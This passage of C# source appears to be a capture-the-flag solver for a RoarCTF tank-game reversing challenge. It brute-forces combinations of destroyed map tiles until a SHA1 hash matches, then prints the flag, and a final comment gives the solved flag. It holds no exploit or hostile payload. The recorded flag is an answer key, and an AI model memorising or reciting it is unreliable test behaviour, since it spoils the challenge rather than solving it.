{8, 1, 1, 5, 8, 8, 8, 8, 8, 8, 8, 8, 1, 8, 8, 8, 8, },
{8, 8, 1, 1, 5, 2, 8, 8, 8, 8, 8, 8, 8, 8, 2, 8, 8, },
{8, 8, 4, 8, 1, 8, 2, 8, 1, 5, 8, 8, 4, 8, 8, 8, 8, },
{8, 8, 2, 8, 1, 8, 8, 1, 8, 8, 1, 8, 2, 2, 5, 8, 8, },
{8, 2, 1, 8, 8, 8, 8, 2, 8, 4, 5, 8, 1, 1, 2, 5, 8, },
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, },
};

//存储所有墙体的位置
static List<Tuple<int, int>> Walls = new List<Tuple<int, int>>();

static Tuple<int, int> Heart;
static void Func1()
{
//存储所有墙体的位置和老家的位置
for (int i = 0; i < w; i++)
{
for (int j = 0; j < h; j++)
{
if (map[i, j] == 1)
{
Walls.Add(new Tuple<int, int>(i, j));
}
if (map[i, j] == 0)
{
Heart = new Tuple<int, int>(i, j);
}
}
}

}

static void Func2(int pos, int cnt, int n, int k, bool[] visited)
{
//取所有4个墙体的组合进行爆破
//已标记了k个数,计算
if (cnt == k)
{
int [,] oneMap = new int[w, h];
for (int i = 0; i < w; i++)
{
for (int j = 0; j < h; j++)
{
oneMap[i, j] = map[i, j];
}
}
for (int i = 0; i < n; i++)
{
if (visited[i])
{
oneMap[Walls[i].Item1, Walls[i].Item2] = 8;
}
}

string str = Once(oneMap);
if (str.Length > 1)
{
//爆破成功,输出结果
Console.WriteLine(str);
}
return;
}

if (pos == n) return;

if (!visited[pos])
{
visited[pos] = true;
Func2(pos + 1, cnt + 1, n, k, visited);
visited[pos] = false;
}
Func2(pos + 1, cnt, n, k, visited);
}

static void Func3(int pos, int cnt, int n, int k, bool[] visited)
{
//取1老家,3墙体的组合进行爆破
//已标记了k个数,计算
if (cnt == k)
{
int[,] oneMap = new int[w, h];
for (int i = 0; i < w; i++)
{
for (int j = 0; j < h; j++)
{
oneMap[i, j] = map[i, j];
}
}
oneMap[Heart.Item1, Heart.Item2] = 9;
for (int i = 0; i < n; i++)
{
if (visited[i])
{
oneMap[Walls[i].Item1, Walls[i].Item2] = 8;
}
}
string str = Once(oneMap);

if (str.Length > 1)
{
//爆破成功,输出结果
Console.WriteLine(str);
}
return;
}

if (pos == n) return;

if (!visited[pos])
{
visited[pos] = true;
Func3(pos + 1, cnt + 1, n, k, visited);
visited[pos] = false;
}
Func3(pos + 1, cnt, n, k, visited);
}

static string Once(int[,] MapState)
{
string str = "clearlove9";

for (int i = 0; i < w; i++)
{
for (int j = 0; j < h; j++)
{
str += MapState[i, j].ToString();
}
}

string enc = Sha1(str);

if (enc == "3F649F708AAFA7A0A94138DC3022F6EA611E8D01")
{
return "RoarCTF{wm-" + Md5(str) + "}";
}
else
{
return "";
}
}

static string Md5(string str)
{
var buffer = Encoding.UTF8.GetBytes(str);
var data = MD5.Create().ComputeHash(buffer);
var sb = new StringBuilder();
foreach (var t in data)
{
sb.Append(t.ToString("X2"));
}
return sb.ToString().Substring(0, 10);
}

static string Sha1(string str)
{
var buffer = Encoding.UTF8.GetBytes(str);
var data = SHA1.Create().ComputeHash(buffer);
var sb = new StringBuilder();
foreach (var t in data)
{
sb.Append(t.ToString("X2"));
}
return sb.ToString();
}

static void Main()
{
Console.WriteLine("begin");
Func1();
Func2(0, 0, Walls.Count(), 4, new bool[Walls.Count()]);
Func3(0, 0, Walls.Count(), 3, new bool[Walls.Count()]);
Console.WriteLine("end");
}
}
}
//RoarCTF{wm-805CEC3545}
0%